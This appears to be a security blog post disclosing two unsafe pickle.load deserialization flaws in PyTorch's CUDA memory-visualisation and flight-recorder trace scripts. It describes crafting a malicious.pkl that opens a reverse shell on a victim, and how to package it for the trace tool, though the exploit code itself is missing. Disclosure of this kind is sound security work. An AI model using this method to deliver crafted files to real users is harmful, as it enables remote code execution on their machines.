The Dark Side of AI: Inside PyTorch’s Unpatched Vulnerabilities

In this blog post, I want to share some of the zero-days I found in Pytorch that Pytorch has refused to patch. I want my fellow developers and anyone else who uses Pytorch to remain safe, so I have decided to disclose them publicly on this blog.

Pytorch contains a script pytorch/torch/cuda/_memory_viz.py that allows users to analyze a CUDA memory dump file. However, it uses pickle.load to load this file and is a classic example of unsafe deserialization.

If you were to download a malicious CUDA memory dump file, attempting to analyze it using Pytorch would allow an attacker to execute code on your system.

The Exploit

Here is a simple Python code exploit.py that creates a malicious pickle file malicious.pkl that will create a reverse shell on the victim’s system when deserialized:

When your victim downloads this malicious.pkl file assuming it's a CUDA memory dump file, you get a shell.

Note: The script accepts severn arguments — segment_plot, segments, memory, stats, trace, compare, and trace_plot. This exploit works with all seven.

This vulnerability is very similar to the previous one. PyTorch includes a script that allows users to analyze flight recorder trace files. Once again, it uses pickle.load to process these files.

If a user attempts to analyze malicious third-party trace files, the script could enable an attacker to execute arbitrary code on their system.

The Exploit

We can use the same exploit as before to create our malicious.pkl file:

However, this time, for the exploit to work, we need to rename our .pkl file to “data_1” and add it to a directory “malicious_trace_files.” This is because flight_recorderexpects a directory that contains files that share a common prefix followed by a numeric suffix.